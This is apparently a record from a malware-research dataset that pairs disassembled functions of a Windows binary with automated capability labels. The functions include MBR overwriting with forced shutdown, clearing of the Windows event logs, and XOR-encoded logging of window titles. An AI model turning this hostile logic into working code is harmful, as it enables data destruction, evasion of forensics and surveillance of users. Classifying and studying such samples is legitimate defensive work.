joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408db0
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
mov ebx, ecx
push ebp
push esi
lea edx, [ebx + 0x130]
push edi
mov ebp, dword [esp + 0x1c]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 0x128]
cmp eax, 0xffffffff
je 0x408e01
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebx + 0x128], eax
jne 0x408e31
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.0040f340
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4

Function at 0x408ec0
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
mov ebx, ecx
cmp dword [edi], 0xffffffff
jne 0x408edf
cmp dword [edi + 4], 0xffffffff
jne 0x408edf
call fcn.00408f80
pop edi
xor eax, eax
pop ebx
ret 4
mov eax, dword [edi + 4]
mov ecx, dword [ebx + 0x128]
push esi
push 0
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x32000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x10]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [edi]
mov dword [esi + 1], edx
mov eax, dword [edi + 4]
mov dword [esi + 5], eax
mov eax, dword [ebx + 0x128]
lea edx, [esi + 9]
push 0x31ff7
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x408f5b
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.0040f340
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebx
ret 4
mov ecx, ebx
call fcn.00408f80
mov edi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebx
ret 4
Function at 0x4096f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, ecx
mov eax, dword [edi]
mov edx, dword [edi + 4]
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], eax
mov eax, dword [esi + 0x12c]
push 0
push ecx
push edx
push eax
call ebx
mov edx, dword [esp + 0x24]
mov eax, dword [esi + 0x12c]
lea ecx, [esp + 0xc]
push 0
add edx, 0xfffffff8
push ecx
add edi, 8
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi + 0x12c]
lea ecx, [esp + 0x20]
push 1
push ecx
push 0
push edx
mov dword [esp + 0x30], 0
call ebx
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x10]
mov dword [esp + 0x11], ecx
push 9
push edx
mov ecx, esi
mov byte [esp + 0x18], 0x70
mov dword [esp + 0x1d], eax
call fcn.0040f340
pop edi
pop esi
pop ebx
add esp, 0x10
ret 8

Function at 0x4097f0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x3c
push esi
mov esi, ecx
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x48]
lea edx, [esp + 8]
push edx
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x10], 0x40
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], str.WinRAR
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40985c
mov eax, dword [esp + 0x40]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x72
mov ecx, esi
call fcn.00406bb0
pop edi
pop esi
add esp, 0x3c
ret 4

Function at 0x40b340
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
mov edi, 0x50c6e0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x140]
mov dword [esp + 0xc], 0x128
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x138]
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40b3d5
mov edi, dword [esp + 0x13c]
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x40b3b4
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40b3d5
cmp dword [esp + 0x14], edi
jne 0x40b39f
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x128
ret
Function at 0x40b3f0
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, 0x50c53c
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.6gkIBfkSqY
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x28]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x40b4d2
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.004a2adf
add esp, 4
mov edi, eax
test esi, esi
jle 0x40b501
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40b4f5
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x40b530
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x51dbb4
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x51dbb4
push eax
mov dword [0x51dfb4], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x51dbb0]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x51dfb4]
cmp eax, ecx
je 0x40b62b
push 0x51dbb4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40b61f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x51dbb4
lea edx, [esp + 0x34]
push 0x50cfa0
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.0040b3f0
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x51dbb4
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x51dfb4]
mov dword [0x51dbb0], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret

Function at 0x40b850
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 8]
push eax
push ebx
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40b900
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x40b907
mov edi, dword [esp + 0x134]
push esi
push edi
call fcn.004a09e4
lea ecx, [esp + 0x34]
mov esi, eax
push ecx
call fcn.004a09e4
push esi
push eax
call fcn.0042da43
add esp, 0x10
test eax, eax
pop esi
jbe 0x40b8c0
pop edi
mov eax, 1
pop ebx
add esp, 0x128
ret
lea edx, [esp + 8]
push edx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40b900
lea eax, [esp + 0x2c]
push eax
call fcn.0042d90f
push edi
call fcn.0042d90f
lea ecx, [esp + 0x34]
push edi
push ecx
call fcn.0042cce0
add esp, 0x10
test eax, eax
jne 0x40b8b2
lea edx, [esp + 8]
push edx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40b8cf
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop ebx
add esp, 0x128
ret

Function at 0x40ce70
Capabilities:
Enumerate gui resources

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40b920
mov eax, ecx
mov esi, edi
mov edi, 0x51dfbc
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [0x51dfb8]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
ret 4
Function at 0x40d100
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x40d150
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x40d137
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x40d170
Capabilities:
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push str.SYSTEMSetup
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40d1b9
mov edx, dword [esp + 8]
push edi
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 8]
push edx
push 1
push eax
push str.Host
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ecx
ret

Function at 0x40d1c0
Capabilities:
Overwrite master boot record (mbr)
Shutdown system
Terminate process
Write file on windows

Disassembly:
sub esp, 0x208
mov ecx, 0x7f
xor eax, eax
push esi
push edi
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x214]
test eax, eax
je 0x40d1f5
mov ecx, 6
mov esi, 0x50cba4
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
jmp 0x40d1fe
mov al, byte [0x50cba4]
mov byte [esp + 0x10], al
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [esp + 0x22a], 0x55
mov byte [esp + 0x22b], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d23a
pop edi
or eax, eax
pop esi
add esp, 0x208
ret
lea ecx, [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
lea edx, [esp + 0xc]
push 0
push edx
lea eax, [esp + 0x18]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 8]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x40d2b4
push 1
push str.SeShutdownPrivilege
call fcn.00419b70
add esp, 8
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d5d0
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x404
push ebp
push esi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x51dbaa]
test ax, ax
je 0x40d6b8
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40d6b8
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x40d6b0
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x40d6b0
push ebx
test edi, 0x3ff
jne 0x40d692
xor ebx, ebx
call fcn.0042da84
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x40d673
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x40d669
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret

Function at 0x40d9a0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x40d9c6
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret

Function at 0x40db80
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40dba5
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xf5
push 0x50cbc0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40dbc3
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x40dd70
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0xa058]
mov dword [ebx], 0x4c97e4
test eax, eax
jbe 0x40ddb4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x418]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0xa058]
inc edi
add esi, 4
cmp edi, eax
jb 0x40dd94
pop esi
pop ebp
mov ecx, ebx
call fcn.0040f250
pop edi
pop ebx
ret
Function at 0x40edf0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.00419b70
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.00419b70
add esp, 8
ret 4

Function at 0x40ef70
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, 0x50c53c
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.6gkIBfkSqY
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x24]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x2c]
and ecx, 3
push closesocket
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40f09e
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.004a2adf
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebx
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x40f088
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x40f07a
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.0040ef10
push esi
mov ebx, eax
call fcn.004a2b08
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x40f74b
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a95c1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x50f894]
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi + 4], eax
mov ecx, dword [0x50f894]
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esi + 8], ecx
mov edx, dword [0x50f894]
mov dword [esi + 0xc], edx
lea ecx, [esi + 0x10]
mov byte [esp + 0x14], 2
call fcn.004a2516
mov eax, dword [0x50f894]
mov dword [esi + 0x24], eax
mov ecx, dword [0x50f894]
mov dword [esi + 0x28], ecx
mov edx, dword [0x50f894]
mov dword [esi + 0x2c], edx
mov eax, dword [0x50f894]
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 0x4c9800
mov dword [esi + 0x38], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x3c], edi
mov ecx, dword [0x50f894]
mov dword [esi + 0x80], ecx
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push edx
push eax
push ecx
mov ecx, esi
mov byte [esp + 0x20], 9
mov dword [esi], 0x4c97fc
call fcn.0040f900
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc

Function at 0x40f800
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a963b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0xc], edi
mov dword [edi], 0x4c97fc
lea ecx, [edi + 0x80]
mov dword [esp + 0x1c], 8
call fcn.004a2d9e
lea ebx, [edi + 0x34]
mov dword [esp + 0x10], ebx
mov dword [ebx], 0x4c9800
mov esi, dword [ebx + 4]
mov byte [esp + 0x1c], 9
test esi, esi
je 0x40f87c
mov eax, dword [ebx + 8]
mov ecx, eax
dec eax
test ecx, ecx
je 0x40f870
push ebp
lea ebp, [eax + 1]
mov edx, dword [esi]
push 0
mov ecx, esi
call dword [edx]
add esi, 0x10
dec ebp
jne 0x40f861
pop ebp
mov ebx, dword [ebx + 4]
push ebx
call fcn.004a2b08
add esp, 4
lea ecx, [edi + 0x30]
mov byte [esp + 0x1c], 6
call fcn.004a2d9e
lea ecx, [edi + 0x2c]
mov byte [esp + 0x1c], 5
call fcn.004a2d9e
lea ecx, [edi + 0x28]
mov byte [esp + 0x1c], 4
call fcn.004a2d9e
lea ecx, [edi + 0x24]
mov byte [esp + 0x1c], 3
call fcn.004a2d9e
lea ecx, [edi + 0x10]
mov byte [esp + 0x1c], 2
call fcn.004a2549
lea ecx, [edi + 0xc]
mov byte [esp + 0x1c], 1
call fcn.004a2d9e
lea ecx, [edi + 8]
mov byte [esp + 0x1c], 0
call fcn.004a2d9e
lea ecx, [edi + 4]
mov dword [esp + 0x1c], 0xffffffff
call fcn.004a2d9e
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret